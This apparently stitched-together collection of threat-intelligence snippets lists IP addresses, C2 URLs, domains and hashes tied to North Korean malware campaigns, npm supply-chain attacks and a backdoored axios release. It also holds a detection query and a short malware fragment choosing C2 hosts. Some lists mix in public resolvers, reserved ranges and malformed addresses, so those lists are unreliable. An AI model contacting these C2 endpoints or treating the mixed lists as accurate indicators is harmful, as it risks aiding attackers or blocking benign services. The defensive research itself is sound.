45.9.74.36 172.104.160.126 149.102.147.106 135.125.177.94 193.233.132.177 185.254.97.190 46.8.237.66 89.202.157.139 154.39.239.56 121.88.5.184 85.208.108.63 167.99.115.33 222.73.85.117 149.28.222.244 104.223.67.151 162.250.98.10 185.156.73.73 193.233.254.0 194.38.20.211 198.15.82.1…","…199.200.61 65.243.103.58 23.95.238.122 66.40.9.246 185.215.113.201 179.43.134.164 167.114.48.58 91.207.116.44 94.198.50.195 174.128.236.169 122.193.130.74 91.92.246.35 49.12.42.56 122.224.9.151 200.98.65.206 1.3.1.0 111.90.149.233 20.234.231.114 77.83.197.180 205.177.124.74 5.5.7.1 23.108.108.…","….150 79.174.92.22 67.198.179.75 103.54.153.116 212.46.38.238 95.164.63.54 80.66.75.44 172.94.3.25 103.117.121.160 45.95.235.56 50.233.152.7 122.224.32.8 173.243.255.79 89.23.98.16 170.130.55.130 103.20.235.174 139.162.22.35 1.1.1.1 91.92.251.35 121.88.5.183 192.3.220.6 5.181.159.76 178.16.54…","…21 192.3.204.226 172.245.142.35 173.208.160.45 107.189.11.54 13.112.233.199 45.32.176.234 122.224.9.67 45.58.116.102 6.0.6.0 14.114.114.114 122.224.51.149 81.177.26.27 34.255.217.70 217.8.117.63 87.19.73.8 62.210.130.250 65.19.154.100 1.8.0.0 65.98.83.116 44.238.74.84 198.12.91.160 47.243.229.…","…31.238.12 124.217.252.62 18.179.111.240 141.255.147.215 185.70.184.39 164.155.255.81 51.254.25.115 174.133.72.250 97.0.1.80 188.213.167.248 122.224.9.113 212.192.241.203 211.167.73.23 101.115.99.97 1.1.5.0 216.170.114.67 66.42.63.27 143.202.163.165 1.0.0.109 67.211.220.139 91.92.109.16 184.15…","…6.40.9.246 185.215.113.201 179.43.134.164 167.114.48.58 91.207.116.44 94.198.50.195 174.128.236.169 122.193.130.74 91.92.246.35 49.12.42.56 122.224.9.151 200.98.65.206 1.3.1.0 111.90.149.233 20.234.231.114 77.83.197.180 205.177.124.74 5.5.7.1 23.108.108.42 27.126.188.212 62.233.57.103 80.66.7…","…175.48.0 69.197.164.135 95.216.64.240 198.23.251.121 192.3.204.226 172.245.142.35 173.208.160.45 107.189.11.54 13.112.233.199 45.32.176.234 122.224.9.67 45.58.116.102 6.0.6.0 14.114.114.114 122.224.51.149 81.177.26.27 34.255.217.70 217.8.117.63 87.19.73.8 62.210.130.250 65.19.154.100 1.8.0.0…","…94.75.201.1 144.48.240.85 91.224.92.26 94.130.200.99 66.102.11.99 81.95.147.107 20.51.217.113 45.142.211.22 1.0.0.3 1.9.0.1 134.175.236.132 122.228.228.71 5.39.67.191 37.10.71.35 207.226.178.158 51.79.185.145 207.226.171.35 31.210.20.22 62.210.10.120 58.49.58.20 154.12.92.53 94.228.169.123 89.…","…22.186.3.65 4.0.0.0 49.1.1.52 167.71.14.135 23.249.163.163 185.172.128.11 200.98.146.241 185.125.230.210 3.4.6.7 27.0.092.168 12.101.97.71 122.228.7.225 85.17.93.189 4.82.216.67 206.123.147.226 83.149.95.197 104.196.12.189 23.95.122.25 174.122.240.164 020.4.11.165 207.226.177.108 37.49.224.1…","…4837 China Unicom (CN) 119.155.190.202 56167 Ufone (PK) 123.190.56.214 4837 China Unicom (CN) 155.94.255.2 8100 QuadraNet (US)…","…Unicom IP addresses found when investigating North Korean incidents: 42.84.228.232 60.20.1.234 139.215.45.250 113.227.237.46 123.190.56.214 VPS IP Address Activity We also saw virtual private server (VPS) IP addresses during authentications that weren’t associated with known…","….114 89.23.98.22 85.17.138.60 59.188.136.151 207.226.171.36 83.171.239.79 80.66.75.116 103.228.36.104 5.252.178.213 49.1.9.16 13.231.238.12 124.217.252.62 18.179.111.240 141.255.147.215 185.70.184.39 164.155.255.81 51.254.25.115 174.133.72.250 97.0.1.80 188.213.167.248 122.224.9.113 212.192.24…","….63.2 104.223.87.12 104.250.131.79 104.250.148.58 107.150.38.250 107.167.25.130 107.167.244.42 107.172.97.67 108.181.41.234 118.107.244.171 125.227.75.208 125.227.80.190 125.227.82.145 125.227.90.115 129.232.193.253 134.195.197.175 142.214.202.2 155.94.199.59 158.255.76.195 162.251.62.70 162.2…","…7.12 104.250.131.79 104.250.148.58 107.150.38.250 107.167.25.130 107.167.244.42 107.172.97.67 108.181.41.234 118.107.244.171 125.227.75.208 125.227.80.190 125.227.82.145 125.227.90.115 129.232.193.253 134.195.197.175 142.214.202.2 155.94.199.59 158.255.76.195 162.251.62.70 162.251.70.66 166.0.…","…1.79 104.250.148.58 107.150.38.250 107.167.25.130 107.167.244.42 107.172.97.67 108.181.41.234 118.107.244.171 125.227.75.208 125.227.80.190 125.227.82.145 125.227.90.115 129.232.193.253 134.195.197.175 142.214.202.2 155.94.199.59 158.255.76.195 162.251.62.70 162.251.70.66 166.0.190.170 167.160…","…8.58 107.150.38.250 107.167.25.130 107.167.244.42 107.172.97.67 108.181.41.234 118.107.244.171 125.227.75.208 125.227.80.190 125.227.82.145 125.227.90.115 129.232.193.253 134.195.197.175 142.214.202.2 155.94.199.59 158.255.76.195 162.251.62.70 162.251.70.66 166.0.190.170 167.160.181.2 167.88.6…","…(may be shared origin) 2 121.132.60.117 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 125.26.238.166 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 139.178.67.134 ipv4 insider August 2024…","…8.148.107.73 87.249.132.144 94.224.115.64 198.50.130.118 94.71.186.249 77.166.75.76 134.228.221.237 81.184.178.102 81.34.167.92 50.67.15.10 128.203.96.252 We observed the threat actor originating from the first IP address, 188.43.33.250 , when active on GitLab.com.…","…4 84.252.122.205 031.192.209.119 217.23.15.140 205.252.24.246 202.189.6.85 85.239.55.212 9.2.4.2 217.23.15.139 217.26.209.10 63.219.178.162 129.2.4.2 173.208.139.170 185.141.24.216 212.129.31.67 85.255.112.36 46.243.189.101 185.141.25.168 94.242.253.106 23.82.19.209 151.164.1.82 11.64.1.1…","…Threat Actor: GHOST72@3-UJS-2 108.181.57.127, 195.146.5.31, 199.168.113.31, 89.187.185.11 Threat Actor: ghost@GHOST-3 129.232.193.253, 195.146.5.31, 209.127.117.234, 45.56.197.79 Threat Actor: GoldRock@DESKTOP-N4VEL23 38.170.181.10 Threat Actor: Lenovo@3-RKS…","….250 107.167.25.130 107.167.244.42 107.172.97.67 108.181.41.234 118.107.244.171 125.227.75.208 125.227.80.190 125.227.82.145 125.227.90.115 129.232.193.253 134.195.197.175 142.214.202.2 155.94.199.59 158.255.76.195 162.251.62.70 162.251.70.66 166.0.190.170 167.160.181.2 167.88.61.117 167.88.61.…","…Try ANY.RUN to see how it can strengthen your proactive defense Gathered IOCs Domain: 360scanner.store IPv4: 13.107.246.45 IPv4: 151.243.101.229 URL: https://360scanner.store/cam-v-b74si.fix URL: http://151.243.101.229:8080/ SHA256 (auto.py.bin) =…","….0 192.88.99.0 192.0.2.0 192.175.48.0 69.197.164.135 95.216.64.240 198.23.251.121 192.3.204.226 172.245.142.35 173.208.160.45 107.189.11.54 13.112.233.199 45.32.176.234 122.224.9.67 45.58.116.102 6.0.6.0 14.114.114.114 122.224.51.149 81.177.26.27 34.255.217.70 217.8.117.63 87.19.73.8 62.210.13…","…When I checked, the answer was http://13.140.228.125:5000 . Figure 3: The team1 deployer writing its current C2, 13.140.228.125:5000, to the team1 contract.…","…13.140.43.225 → 13.140.228.125 (10-20) team2 0x5c00998365a57cd53ab5ea2963689a158dff6301 45.59.163.43 → 13.140.40.133 (09-18) team3 0x1a9700e5d74f64429594df53efcb6bc8c3936cb5 66.235.168.14 → 13.140.40.208 → 13.140.40.214 → 80.190.73.17 (09-28) team9…","…45.59.163.43 → 13.140.40.133 (09-18) team3 0x1a9700e5d74f64429594df53efcb6bc8c3936cb5 66.235.168.14 → 13.140.40.208 → 13.140.40.214 → 80.190.73.17 (09-28) team9 0x05a071fcccb797cff4eedce28d0ae9c01444dc1a 82.158.192.152 team10…","…The C2s are picky about who they serve it to, but a run of 101.js from early October, while team1’s contract still pointed at 13.140.43.225 , shows exactly what comes next.…","…+ header SOLLUTIUM 195.66.213.162 , 138.226.247.147 , 138.226.247.152 ( dashcenterhost.info ), 138.226.247.154 Header only SOLLUTIUM 13.140.43.228 , 38.92.47.164 , 45.43.11.224 , 165.140.86.58 , 45.59.160.215 Header only Contabo, Tier.Net Confirmation From Someone Who Was…","….95 66.199.251.114 89.23.98.22 85.17.138.60 59.188.136.151 207.226.171.36 83.171.239.79 80.66.75.116 103.228.36.104 5.252.178.213 49.1.9.16 13.231.238.12 124.217.252.62 18.179.111.240 141.255.147.215 185.70.184.39 164.155.255.81 51.254.25.115 174.133.72.250 97.0.1.80 188.213.167.248 122.224.9…","…DOMAIN veneliteus.com 2026-02-26 2026-02-26 IPv4 66.235.11.117 2026-02-26 2026-02-26 IPv4 130.65.230.100 2026-02-26 2026-02-26 IPv4 103.65.230.100 2026-02-26 2026-02-26 IPv4 216.250.251.211 2026-02-26…","…Additionally, with the exception of 130.65.230.100 , 66.235.175.117 , and 66.235.175.109 , port 445 (SMB) was open on the remaining IPs. Furthermore, while most C&C servers dropped requests…","…94.142.138.111 94.75.201.1 144.48.240.85 91.224.92.26 94.130.200.99 66.102.11.99 81.95.147.107 20.51.217.113 45.142.211.22 1.0.0.3 1.9.0.1 134.175.236.132 122.228.228.71 5.39.67.191 37.10.71.35 207.226.178.158 51.79.185.145 207.226.171.35 31.210.20.22 62.210.10.120 58.49.58.20 154.12.92.53 94.…","…130 107.167.244.42 107.172.97.67 108.181.41.234 118.107.244.171 125.227.75.208 125.227.80.190 125.227.82.145 125.227.90.115 129.232.193.253 134.195.197.175 142.214.202.2 155.94.199.59 158.255.76.195 162.251.62.70 162.251.70.66 166.0.190.170 167.160.181.2 167.88.61.117 167.88.61.148 169.38.75.87…","…in real time as our investigation continues. Here is the sample list of IP addresses: 103.130.145.210 104.129.22.2 113.20.30.139 134.195.197.175 167.88.61.250 169.38.132.135 169.57.129.31 172.93.100.166 172.96.141.172 185.108.128.54 Continuing to Track Astrill VPN Our…","…188.43.33.250 49.145.111.7 190.120.252.13 118.148.107.73 87.249.132.144 94.224.115.64 198.50.130.118 94.71.186.249 77.166.75.76 134.228.221.237 81.184.178.102 81.34.167.92 50.67.15.10 128.203.96.252 We observed the threat actor originating from the first IP address, 188.43.33.250…","…158.247.32 185.249.196.106 155.94.210.73 103.219.106.107 212.192.219.52 91.92.248.50 47.96.86.81 45.9.74.36 172.104.160.126 149.102.147.106 135.125.177.94 193.233.132.177 185.254.97.190 46.8.237.66 89.202.157.139 154.39.239.56 121.88.5.184 85.208.108.63 167.99.115.33 222.73.85.117 149.28.222.2…","…135.125.248.56 N/A OVH SAS 2023‑06‑30 BeaverTail/InvisibleFerret C&C and staging server.…","ip 103.161.35.57 103.35.190.170 104.194.133.88 107.189.16.122 107.189.16.176 107.189.20.152 107.189.24.80 107.189.25.109 108.181.185.2 135.125.248.56 135.181.242.24 138.124.184.171 138.201.199.46 144.172.100.124 144.172.100.142 144.172.101.45 144.172.102.148 144.172.102.21 144.172.103.97…","Direct-IP command-and-control endpoint listed by Socket for the July to October 2025 Contagious Interview npm wave of 338 packages.","…— Ingress Tool Transfer T1119 — Automated Collection T1657 — Financial Theft Indicators of Compromise (IOCs) # C2 Endpoints # 135.181.123.177 138.201.50.5 144.172.105.235 144.172.112.106 146.70.253.107 23.127.202.249 23.227.202.244…","…this time we observed: http://144.172.105.235:1224/pdown – the same C2 we saw in cloud-binary , including the same C2 WebSocket: http://135.181.123.177/api/service/makelog . This package was found to contain two Beavertail configurations. Hunting for Other Packages We notified NPM of…","…http[://]172.86.88.188/api/service/process/c841b6c4ac4d2e83f16cf7a8bfbec3d7 http[://]138.201.50.5:5961/upload http[://]135.181.123.177/api/service/makelog http[://]144.172.96.35/api/service/makelog http[://]144.172.112.50/api/service/makelog http[://]172.86.73.46…","…通信先 alchemy-api-v3.cloud chainlink-api-v3.cloud moralis-api-v3.cloud modilus.io 116.202.208.125 65.108.122.31 194.164.234.151 135.181.123.177 188.116.26.84 65.21.23.63 95.216.227.188 記事をシェアする 前の記事 【徹底比較】MDRとSOCの違いとは？自社に最適な選び方を解説 Additional Features of…","…C2 172.86.88.188 ROUTERHOSTING Nothing of significance to mention 138.201.50.5 Hetzner Online GmbH Same ASN as Cluster-3 135.181.123.177 Hetzner Online GmbH Same ASN as Cluster-3 144.172.96.35 ROUTERHOSTING Historically hosted on PONYNET 144.172.112.50 ROUTERHOSTING…","…name: CoinLocator-main coin-promoting-app-main 0xhpenvynb-mvp_gamba-6b10f2e9dd85 IP: 144.172.96.35 107.189.24.80 135.181.123.177 Favicon Hash: 41ee7ddb2be173686dc3a73a49b4e93bc883ef363acca770f7ede891451122ab Find this Story Interesting! Follow us on LinkedIn and…","…88.188/api/service/makelog http://172.86.88.188/api/service/process/c841b6c4ac4d2e83f16cf7a8bfbec3d7 http://138.201.50.5:5961/upload http://135.181.123.177/api/service/makelog http://144.172.96.35/api/service/makelog http://144.172.112.50/api/service/makelog http://172.86.73.46 http://135.181.1…","…Register now with a business email to try ANY.RUN → Gathered IOCs IPv4: 135.181.123.177 IPv4: 144.172.101.45 Domain: chainlink-api-v3.cloud URL: http://144.172.101.45:1224/ URL:…","…But, my friends, the hunting season never ends … Indicators of Compromise IPv4:135.181.123.177 Domain:chainlink-api-v3.cloud URL:http://chainlink-api-v3.cloud/api/service/token/56e15ef3b5e5f169fc063f8d3e88288e URL:http://chainlink-api…","…IP 135.181.242.24 191.96.31.38 AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다.…","…IP 135.181.242.24 191.96.31.38 Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP . For subscription details,…","…ssh_any Enable AnyDesk Remote Control 8 ssh_env Match Host Files Named *.env for Target Reconnaissance Appendix - IOC 135.181.242.24 140.99.223.36 144.172.74.108 144.172.74.48 144.172.79.23 147.124.212.146 147.124.212.89 147.124.213.11 147.124.213.17 147.124.213.…","….35.57 103.35.190.170 104.194.133.88 107.189.16.122 107.189.16.176 107.189.20.152 107.189.24.80 107.189.25.109 108.181.185.2 135.125.248.56 135.181.242.24 138.124.184.171 138.201.199.46 144.172.100.124 144.172.100.142 144.172.101.45 144.172.102.148 144.172.102.21 144.172.103.97 144.172.104.10…","…Future Identity Intelligence shows the PurpleBravo operator potentially connected to a remote desktop session hosted on the IP address 135.181.7.162 with the GitHub profile “domin191013” open in the web browser.…","…Dec-24 Sliver C2 23.27.240.237 Dec-24 Cobalt Strike 45.194.27.99 Oct-24 Sliver C2 166.88.57.117 Sep-24 SuperShell C2 136.0.11.193 Sep-24 Cobalt Strike (Watermark: 100000) 23.27.244.39 Aug-24 Remcos 172.121.5.230 Apr-24 Cobalt Strike (Watermark: 100000)…","…Stealer 23.27.24.90 Oct-25 Sliver C2 23.27.168.222 Oct-25 Rhadamanthys Stealer 136.0.141.91 Sep-25 Rhadamanthys Stealer 136.0.141.245 Sep-25 Rhadamanthys Stealer 166.88.117.240 Sep-25 Remcos 23.27.124.91 Sep-25 Remcos 156.227.0.60 Sep-25 Rhadamanthys Stealer…","…Stealer 23.26.237.117 Oct-25 Rhadamanthys Stealer 23.27.24.90 Oct-25 Sliver C2 23.27.168.222 Oct-25 Rhadamanthys Stealer 136.0.141.91 Sep-25 Rhadamanthys Stealer 136.0.141.245 Sep-25 Rhadamanthys Stealer 166.88.117.240 Sep-25 Remcos 23.27.124.91 Sep-25 Remcos…","…(Threat Actor (QUARTERRIG (APT29)) 103.179.142.121 Jun-23 AveMaria 136.0.3.250 Jan-25 AsyncRAT 136.0.3.71 Mar-24 Bianlian 136.0.3.240 Jan-24 Bianlian 136.0.8.169 Feb-25 Danabot 136.0.9.8 Jun-25 NPM Supply Chain (Ports: 27017 and 3306) 142.111.77.196 Jul-24 DPRK…","…Sep-24 Supershell 91.218.183.90 Apr-23 Cobalt Strike (Threat Actor (QUARTERRIG (APT29)) 103.179.142.121 Jun-23 AveMaria 136.0.3.250 Jan-25 AsyncRAT 136.0.3.71 Mar-24 Bianlian 136.0.3.240 Jan-24 Bianlian 136.0.8.169 Feb-25 Danabot 136.0.9.8 Jun-25 NPM Supply…","…91.218.183.90 Apr-23 Cobalt Strike (Threat Actor (QUARTERRIG (APT29)) 103.179.142.121 Jun-23 AveMaria 136.0.3.250 Jan-25 AsyncRAT 136.0.3.71 Mar-24 Bianlian 136.0.3.240 Jan-24 Bianlian 136.0.8.169 Feb-25 Danabot 136.0.9.8 Jun-25 NPM Supply Chain (Ports: 27017 and 3306)…","…(APT29)) 103.179.142.121 Jun-23 AveMaria 136.0.3.250 Jan-25 AsyncRAT 136.0.3.71 Mar-24 Bianlian 136.0.3.240 Jan-24 Bianlian 136.0.8.169 Feb-25 Danabot 136.0.9.8 Jun-25 NPM Supply Chain (Ports: 27017 and 3306) 142.111.77.196 Jul-24 DPRK Moonsleet NPM 154.81.220.233…","…an interim block at the firewall level while you work through remediation: 166.88.54.158 , 198.105.127.210 , 23.27.202.27 , 154.91.0.103 , 136.0.9.8 , 166.88.4.2 , 23.27.120.142 , 202.155.8.173 , 166.88.134.82 , 188.43.33.249 , 23.27.13.43 .…","…malware and easier to obfuscate C2 Infrastructure Multi-Server Setup Based on _V Variable (Lines 250-260): if (e[0] == 'A') { K = \"136.0.9.8\"; } // Version A else if (e[0] == 'C') { K = \"23.27.202.27\"; } // Version C else if (!isNaN(parseInt(e))) { K = \"166.88.4.2\"; } // Numeric…","…C2 URL /verify-human/5-74 C2 URL for upload endpoint /u/f/ C2 IPs 166.88.4.2 23.27.202.27 23.27.202.143 136.0.9.8 C2 port 27017 Top of page Cyber Centre tools and services No single tool, service or turnkey solution can reconstruct…","…connection with patient zero. C2 IP Addresses C2 Port C2 Channel Type Malware 23.27.20.143 27017 HTTP API Python Dropper 136.0.9.8 27017, 443 HTTP API, socket.io Loader/RAT 166.88.4.2 27017, 443 HTTP API, socket.io Loader/RAT 23.27.202.27 27017, 443 HTTP API,…","…101 AND objectFilePath: temp_auto_push.bat Outbound Connection to Potential Void Dokkaebi C2 eventSubId: (204 OR 301) AND dst: (136.0.9.8 OR 198.105.127.210 OR 23.27.202.27 OR 154.91.0.196 OR 23.27.20.143 OR 85.239.62.36 OR 83.168.68.219 OR 166.88.4.2 OR 23.27.120.142) More…","…full list of deobfuscated RAT scripts can be found in the GitHub repository for Part 4 . The cluster list: IP Address First Seen 136.0.9.8 12/06/2025 166.88.4.2 12/06/2025 23.27.202.27 20/06/2025 23.27.120.142 08/10/2025 202.155.8.173 30/10/2025 198.105.127.210…","…Subdomain IP ASN mail.blocknovas.com 167.88.39.141 AS47583 AS-HOSTINGER, CY bookings.blocknovas.com 136.143.190.199 AS2639 ZOHO-AS, US gitlab.blocknovas.com chat.blocknovas.com 86.104.74.169 AS44477 STARK-INDUSTRIES, GB apply.blocknovas.com…","…90.170 104.194.133.88 107.189.16.122 107.189.16.176 107.189.20.152 107.189.24.80 107.189.25.109 108.181.185.2 135.125.248.56 135.181.242.24 138.124.184.171 138.201.199.46 144.172.100.124 144.172.100.142 144.172.101.45 144.172.102.148 144.172.102.21 144.172.103.97 144.172.104.10 144.172.104.113…","…20.235.174 139.162.22.35 1.1.1.1 91.92.251.35 121.88.5.183 192.3.220.6 5.181.159.76 178.16.54.109 38.154.237.100 45.61.160.28 46.105.47.148 138.201.125.58 224.0.0.0 192.0.2.1 0.0.0.0 192.0.0.0 192.0.0.171 100.64.0.0 172.86.84.38 3.2.8.1 52.59.124.14 92.123.45.67 4.3.2.1 198.51.100.16 8.8.8.8 1…","…Figure 10: C2 communication Once the base64 is decoded we can now know the C2 and the endpoint behind these communications http://138.201.128.169:1224/api/checkStatus. We can now know that the structure follow this patterns <IP>:1224/api/<Value> We see that the server is hosted at…","…socket.io + PE download, port 5000 2 /download-app serves a Windows executable socket.io + /api/service upload 1 138.201.140.23 , the busiest, now sinkholed socket.io 2 short-event C2 WebSocket, embedded operator config 3 C2 octets split across JSON…","…33.88 107.189.16.122 107.189.16.176 107.189.20.152 107.189.24.80 107.189.25.109 108.181.185.2 135.125.248.56 135.181.242.24 138.124.184.171 138.201.199.46 144.172.100.124 144.172.100.142 144.172.101.45 144.172.102.148 144.172.102.21 144.172.103.97 144.172.104.10 144.172.104.113 144.172.105.189…","…Servers Tech Fzco Nothing of significance to mention 138.201.207.116 browser-storage.com Hetzner Online GmbH Same ASN as Cluster-3 Observations The domain density demonstrated in this source is the…","…Transfer T1119 — Automated Collection T1657 — Financial Theft Indicators of Compromise (IOCs) # C2 Endpoints # 135.181.123.177 138.201.50.5 144.172.105.235 144.172.112.106 146.70.253.107 23.127.202.249 23.227.202.244 http://fashdefi.store:6168/defy/v7…","…In the discovered sample Talos found, the uploading C2 URL was “http[://]138.201.50.5:5961/upload”.…","…Notes 23.227.202.244 HVC-AS Similar HTTP headers to socket.io C2 172.86.88.188 ROUTERHOSTING Nothing of significance to mention 138.201.50.5 Hetzner Online GmbH Same ASN as Cluster-3 135.181.123.177 Hetzner Online GmbH Same ASN as Cluster-3 144.172.96.35 ROUTERHOSTING…","…8.188:1476/upload http://172.86.88.188/api/service/makelog http://172.86.88.188/api/service/process/c841b6c4ac4d2e83f16cf7a8bfbec3d7 http://138.201.50.5:5961/upload http://135.181.123.177/api/service/makelog http://144.172.96.35/api/service/makelog http://144.172.112.50/api/service/makelog h…","…access across multiple downstream environments. Indicators of Compromise (IOCs) Type Value IP Address 138.226.246.94 IP Address 212.86.125.24 IP Address 213.111.148.90 IP Address 94.154.32.160 Additional Telemetry…","…+ header Contabo, Tier.Net 13.140.40.208 Contract only Contabo 91.202.5.124 Hardcoded in 1.d + header SOLLUTIUM 195.66.213.162 , 138.226.247.147 , 138.226.247.152 ( dashcenterhost.info ), 138.226.247.154 Header only SOLLUTIUM 13.140.43.228 , 38.92.47.164 , 45.43.11.224 ,…","…Tier.Net 13.140.40.208 Contract only Contabo 91.202.5.124 Hardcoded in 1.d + header SOLLUTIUM 195.66.213.162 , 138.226.247.147 , 138.226.247.152 ( dashcenterhost.info ), 138.226.247.154 Header only SOLLUTIUM 13.140.43.228 , 38.92.47.164 , 45.43.11.224 , 165.140.86.58 ,…","…Contabo 91.202.5.124 Hardcoded in 1.d + header SOLLUTIUM 195.66.213.162 , 138.226.247.147 , 138.226.247.152 ( dashcenterhost.info ), 138.226.247.154 Header only SOLLUTIUM 13.140.43.228 , 38.92.47.164 , 45.43.11.224 , 165.140.86.58 , 45.59.160.215 Header only Contabo, Tier.Net…","….54 80.66.75.44 172.94.3.25 103.117.121.160 45.95.235.56 50.233.152.7 122.224.32.8 173.243.255.79 89.23.98.16 170.130.55.130 103.20.235.174 139.162.22.35 1.1.1.1 91.92.251.35 121.88.5.183 192.3.220.6 5.181.159.76 178.16.54.109 38.154.237.100 45.61.160.28 46.105.47.148 138.201.125.58 224.0.0.0…","…(may be shared origin) 2 125.26.238.166 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 139.178.67.134 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 14.225.215.117 ipv4 insider August 2024…","…which dominate the US market. China Unicom IP addresses found when investigating North Korean incidents: 42.84.228.232 60.20.1.234 139.215.45.250 113.227.237.46 123.190.56.214 VPS IP Address Activity We also saw virtual private server (VPS) IP addresses during authentications…","The post consists of the greeting \"Hi 139.5.157.128 and 212.91.193.27 :)\" over a photograph of three men opening bottles at what appears to be a party. It states no role for either address and names no operator, so the addresses anchor no persona here. The researcher tracks DPRK IT workers and the accompanying photograph matches the group images published elsewhere on the account, which is the context in which the addresses were posted. The same two addresses appear independently in tayvano's public DPRK IT-worker research repository, under a \"Face Pix\" heading that follows a section break rather than inside any operator's entry, so that source does not attribute them either. The scraper does not create records from them because IPv4 extraction is not enabled for scraped sources.","…sallamy2580@gmail.com - https://github.com/sallamy2580 - ![](./sallamy2580.jpeg) - ![](./sallamy2580-2.png) --- ## Face Pix #### 139.5.157.128 and 212.91.193.27 - https://x.com/Narcass3/status/1916191078631289200 - ![](./1916191078631289200.png) #### AI Face -…","….242.253.106 23.82.19.209 151.164.1.82 11.64.1.1 91.234.35.106 193.142.58.171 188.40.184.141 91.240.118.168 185.118.167.189 216.126.196.190 139.59.209.204 18.193.102.232 100.43.129.182 81.0.250.47 168.0.0.255 103.207.39.154 59.89.120.99 62.171.176.240 209.190.122.186 5.172.39.25 190.123.44.138…","…162.254.35.14 74.119.194.205 172.86.114.31 139.60.163.206 212.85.29.133 80.209.243.85 参考文献 [1]: Palo Alto Networks, \"Hacking Employers and Seeking Employment: Two Job-Related Campaigns Bear…","…40 198.23.251.121 192.3.204.226 172.245.142.35 173.208.160.45 107.189.11.54 13.112.233.199 45.32.176.234 122.224.9.67 45.58.116.102 6.0.6.0 14.114.114.114 122.224.51.149 81.177.26.27 34.255.217.70 217.8.117.63 87.19.73.8 62.210.130.250 65.19.154.100 1.8.0.0 65.98.83.116 44.238.74.84 198.12.91.…","…(may be shared origin) 2 139.178.67.134 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 14.225.215.117 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 143.110.226.180 ipv4 insider August 2024…","…January 2025 118.194.228.184 IP Likely legitimate but compromised server January 2025 14.34.85.86 IP Likely legitimate but compromised server January 2025 38.180.157.197 IP QuasarRAT…","…North Korean threat actors. Appendix A: Diamond Model Appendix B: C2 Servers BeaverTail C2 Servers: 14.37.47.13 23.106.70.154 23.227.202.244 38.92.47.85 38.92.47.91 38.92.47.118 38.92.47.151 38.92.47.152 38.92.47.155 45.43.11.201 45.59.163.23 45.59.16…","…59.188.136.151 207.226.171.36 83.171.239.79 80.66.75.116 103.228.36.104 5.252.178.213 49.1.9.16 13.231.238.12 124.217.252.62 18.179.111.240 141.255.147.215 185.70.184.39 164.155.255.81 51.254.25.115 174.133.72.250 97.0.1.80 188.213.167.248 122.224.9.113 212.192.241.203 211.167.73.23 101.115.99.…","…The rest come from earlier commits. text copy 51.210.65.37 current 141.94.148.35 historical 141.94.148.39 historical 147.124.212.180 historical 147.124.212.207 historical 151.80.76.66 historical 167.114.215.75…","…And don’t get rekt. IOCs IPV4:141.94.148.39 URL:ip-checking-psi.vercel.app // Thanks for the quick takedown,…","…The rest come from earlier commits. text copy 51.210.65.37 current 141.94.148.35 historical 141.94.148.39 historical 147.124.212.180 historical 147.124.212.207 historical 151.80.76.66 historical 167.114.215.75 historical…","…iverservices.store block-digital.online cpanel.block-digital.online webmail.block-digital.online www.block-digital.online 69.10.53.86 141.98.168.79 198.54.116.177 103.231.75.101 45.89.53.54 199.188.200.147 198.54.119.94 192.64.119.25 45.159.248.110 http://69.10.53.86 http://141…","…95.164.17.24 95.164.33.66 95.164.45.239 95.217.124.253 angeloperonline.online lianxinxiao.com sageskills-uk.com www.dalas.nl 146.70.253.107 141.98.168.79 69.10.53.86 60.93.32.117 103.35.188.237 23.227.203.204 217.148.142.113 0.10.51.212 45.61.151.174 23.227.203.192 23.227.202.51 23.227.202.52…","…51.114 18.159.59.253 121.207.229.145 61.92.48.59 103.213.247.48 20.254.53.47 104.168.32.203 198.12.107.229 20.40.97.94 37.115.98.97 2.4.0.0 141.98.6.105 91.206.92.208 148.251.71.182 54.249.210.44 061.19.253.26 209.59.216.158 11.76.6.1 3.130.37.158 94.142.138.111 94.75.201.1 144.48.240.85 91.…","…( com.apple.act.mond ) 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a New IOCs C2 callnrwise.com 142.11.196.73 142.11.199.73 Hash 5b5fbc627502c5797d97b206b6dcf537889e6bea6d4e81a835e103e311690e22…","…) 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a New IOCs C2 callnrwise.com 142.11.196.73 142.11.199.73 Hash 5b5fbc627502c5797d97b206b6dcf537889e6bea6d4e81a835e103e311690e22…","…(shasum: 07d889e2dadce6f3910dcbc253317d28ca61c766) Network Indicators : C2 domain: sfrclak.com C2 IP: 142.11.206.73 C2 POST body (macOS) · packages.npm.org/product0 C2 POST body (Windows) · packages.npm.org/product1 C2 POST body (Linux) ·…","…Windows, Registry run key WAVESHAPER.V2 persistence /tmp/ld.py Linux, Python RAT Executed via nohup for persistence sfrclak.com / 142.11.206.73 All platforms, C2 Block at firewall and DNS layer immediately axios@1.14.1 or axios@0.30.4 in lock file npm, Backdoored Axios versions…","…MacOS payload fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf SHA-256 ld.py Linux payload sfrclak.com DOMAIN C2 142.11.206.73 ipv4-addr C2 References The following were referenced throughout the above research:…","…— Persistent BlueNoroff Infrastructure 9 confirmed BlueNoroff/Lazarus IPs on Hostwinds: IP Campaign Year Source 142.11.206.73 Axios C2 (sfrclak.com) 2026 This analysis 142.11.209.109 Lazarus infrastructure 2025 Hunt.io cert hwc-hwp-7779700…","…deployed: compiled C++ Mach-O for macOS, fileless PowerShell for Windows, Python stdlib-only for Linux Single C2 at sfrclak.com:8000 (142.11.206.73) routes payloads by POST body: product0 for macOS, product1 for Windows, product2 for Linux Four shared C2 commands across all platforms:…","…behind it is the Lazarus APT Group. Appendix Previously Disclosed IOCs C2 sfrclak.com http://sfrclak.com:8000/6202033 142.11.206.73 Hash Platform SHA256 Linux ( ld.py ) fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf Windows…","…The associated IP address (142.11.206.73) is tied to Hostwinds, a virtual private server (VPS) provider that Sapphire Sleet is known to commonly use when establishing C2. All…","…if there are still services running on open ports. According to passive DNS data, the mentioned C2 domain sfrclak.com resolves to 